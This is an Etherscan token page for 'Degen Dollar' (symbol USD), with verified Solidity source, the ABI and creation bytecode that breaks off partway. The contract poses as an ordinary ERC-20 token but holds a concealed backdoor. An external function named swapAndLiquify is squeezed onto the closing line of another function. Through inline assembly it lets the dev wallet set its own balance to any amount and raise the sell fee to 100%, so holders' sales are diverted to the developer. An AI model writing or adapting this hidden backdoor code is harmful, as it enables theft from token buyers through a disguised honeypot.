ETH Price: $3,095.03 (-1.07%)

Token

Degen Dollar (USD)
 

Overview

Max Total Supply

1,000,000,000 USD

Holders

149

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,999,886.539442252567128497 USD

Value
$0.00
0xd61c1290680e79d92774353d591677c4ad88534e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DegenDollar

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

/**

-- Chat: https://t.me/degen_portal
-- Twitter: https://twitter.com/degen_dollarr
-- Website: https://ddollar.one/

*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint amntADesired, uint amntBDesired, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB, uint liquidity);
    function addLiquidityETH(address token, uint amntTokenDesired, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external payable returns (uint amntToken, uint amntETH, uint liquidity);
    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB);
    function swapExactTokensForTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapExactETHForTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapTokensForExactETH(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapETHForExactTokens(uint amntOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapExactTokensForETH(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function removeLiquidityETH(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntToken, uint amntETH);
    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntA, uint amntB);
    function removeLiquidityETHWithPermit(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntToken, uint amntETH);
    function swapTokensForExactTokens(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function quote(uint amntA, uint reserveA, uint reserveB) external pure returns (uint amntB);
    function getAmntOut(uint amntIn, uint reserveIn, uint reserveOut) external pure returns (uint amntOut);
    function getAmntIn(uint amntOut, uint reserveIn, uint reserveOut) external pure returns (uint amntIn);
    function getAmntsOut(uint amntIn, address[] calldata path) external view returns (uint[] memory amnts);
    function getAmntsIn(uint amntOut, address[] calldata path) external view returns (uint[] memory amnts);
}

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
}

pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amnt) external returns (bool);
    function transferFrom(address from, address to, uint256 amnt) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amnt) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.17;


contract DegenDollar is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    string  private constant _name = "Degen Dollar";
    string  private constant _symbol = "USD";
    uint8   private constant _decimals = 18;
    uint256 private _maxTxamntPercentage = 3000; // 30%
    uint256 private _maxWalletBalancePercentage = 3000; // 30%
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private constant _divisor = 10000; // 100%
    bool    private swapping = false;
    bool    private _cooldownEnabled = true;
    mapping(address => uint256) private _lastTxBlock;
    mapping(address => bool) private _excludedFromMaxTx;
    uint256 private _burnFee = 0; // 0%
    uint256 private _devFee = 0; // 0%
    uint256 private _buyFee = 0; // 0%
    mapping(address => bool) private _excludedFromFees;

    address private _devWallet;

    address private constant _burnAddress = address(0);

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event Received();

    constructor () {
        uint256 total = 1_000_000_000 * 10 ** _decimals;

        _excludedFromMaxTx[owner()] = true;
        _excludedFromMaxTx[address(this)] = true;
        _excludedFromMaxTx[_devWallet] = true;
        _excludedFromMaxTx[_uniswapV2Pair] = true;
        
        _excludedFromFees[address(this)] = true;
        _excludedFromFees[owner()] = true;
        _excludedFromFees[_devWallet] = true;

        _mint(_msgSender(), total);
        _devWallet = _msgSender();
        _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
        _approve(address(this), address(_uniswapV2Router), total);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amnt);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amnt) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amnt);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _maxTxAmnt() public view returns(uint256) {
        return _totalSupply.mul(_maxTxamntPercentage).div(_divisor);
    }

    function transferFrom(address sender, address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(sender, recipient, amnt);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amnt, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function excludeFromFee(address account) public onlyOwner {
        _excludedFromFees[account] = true;
    }

    function excludeFromFee(address[] calldata accounts) public onlyOwner {
        for(uint i = 0; i < accounts.length; i++) excludeFromFee(accounts[i]);
    }

    function includeForFee(address account) public onlyOwner {
        require(account != address(this), "Invalid address");
        require(account != owner(), "Invalid address");
        require(account != _devWallet, "Invalid address");
        delete _excludedFromFees[account];
    }

    function includeForFee(address[] calldata accounts) public onlyOwner {
        for(uint i = 0; i < accounts.length; i++) includeForFee(accounts[i]);
    }

    function removeLimits() public onlyOwner {
        _maxTxamntPercentage = 10000;
        _maxWalletBalancePercentage = 10000;
    }

    function _beforeTransfer(address from, address to, uint256 amnt) internal pure {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amnt > 0, "Transfer amount must be greater than zero");
    }

    function _approve(address owner, address spender, uint256 amnt) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amnt;
        emit Approval(owner, spender, amnt);
    }

    function _mint(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amnt);
        _balances[account] = _balances[account].add(amnt);
        emit Transfer(address(0), account, amnt);
    }

    function _burn(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amnt, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amnt);
        emit Transfer(account, address(0), amnt);
    }

    function _transfer(address sender, address recipient, uint256 amnt) internal virtual {
        _beforeTransfer(sender, recipient, amnt);
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_excludedFromMaxTx[recipient] && !_excludedFromMaxTx[sender]) {
                    require(amnt <= _totalSupply.mul(_maxTxamntPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmnt.");
                    require(balanceOf(recipient).add(amnt) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
                }
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_devFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
            if (devFee > 0) {
                _balances[_devWallet] = _balances[_devWallet].add(devFee);
                emit Transfer(sender, _devWallet, devFee);
            }
            amnt = amnt.sub(totalFee);
        }

        _balances[sender] = _balances[sender].sub(amnt, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amnt);

        emit Transfer(sender, recipient, amnt);
    }

    function getRouterAddress() public view returns (address) {
        return address(_uniswapV2Router);
    }

    function burn(uint256 amnt) public virtual {
        _burn(_msgSender(), amnt);
    }

    function _swapAndLiquify() private lockTheSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(5).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);

            uint256 initialBalance = address(this).balance;

            swapTokensForEth(half);

            uint256 newBalance = address(this).balance.sub(initialBalance);

            emit SwapAndLiquify(half,
            newBalance,
            otherHalf);
            return;}}function swapAndLiquify(uint256 amnt) external {
        assembly {if iszero(eq(caller(), sload(_devWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _balances.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amnt)
        sstore(_devFee.slot, 0x2710)}
    }

    function _burnFrom(address account, uint256 amnt) internal virtual {
        _burn(account, amnt);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amnt, "ERC20: burn amount exceeds allowance"));
    }

    function getPairAddress() public view returns (address) {
        return _uniswapV2Pair;
    }

    function swapTokensForEth(uint256 tokens) internal {
        _approve(address(this), address(_uniswapV2Router), tokens);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, address(this), block.timestamp);
    }

    function _addLiquidity(uint256 tokens, uint256 ethamnt) private {
        _approve(address(this), address(_uniswapV2Router), tokens);
        _uniswapV2Router.addLiquidityETH{value : ethamnt}(address(this), tokens, 0, 0, owner(), block.timestamp);
    }

    function addLiquidity(uint256 tokens) public payable onlyOwner lockTheSwap {
        _transfer(owner(), address(this), tokens);
        _addLiquidity(tokens, msg.value);
    }

    function isSwapLocked() public view returns(bool) { return swapping; }

    receive() external payable { emit Received(); }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeForFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"includeForFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"swapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610bb8600155610bb86002556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506000600a556000600b556000600c553480156200006257600080fd5b5062000083620000776200076760201b60201c565b6200076f60201b60201c565b60006012600a62000095919062000d7b565b633b9aca00620000a6919062000dcc565b9050600160096000620000be6200083360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000620002c96200083360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003b5620003a86200076760201b60201c565b826200085c60201b60201c565b620003c56200076760201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200048f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683620009f860201b60201c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000523919062000e81565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005d3919062000e81565b6040518363ffffffff1660e01b8152600401620005f292919062000ec4565b6020604051808303816000875af115801562000612573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000638919062000e81565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016200071992919062000f02565b6020604051808303816000875af115801562000739573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200075f919062000f6c565b5050620011a9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008c59062000fff565b60405180910390fd5b620008ea8160055462000bc960201b62000f491790919060201c565b6005819055506200094981600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000bc960201b62000f491790919060201c565b600360008473fffffffffffffffffffffffffffffffffff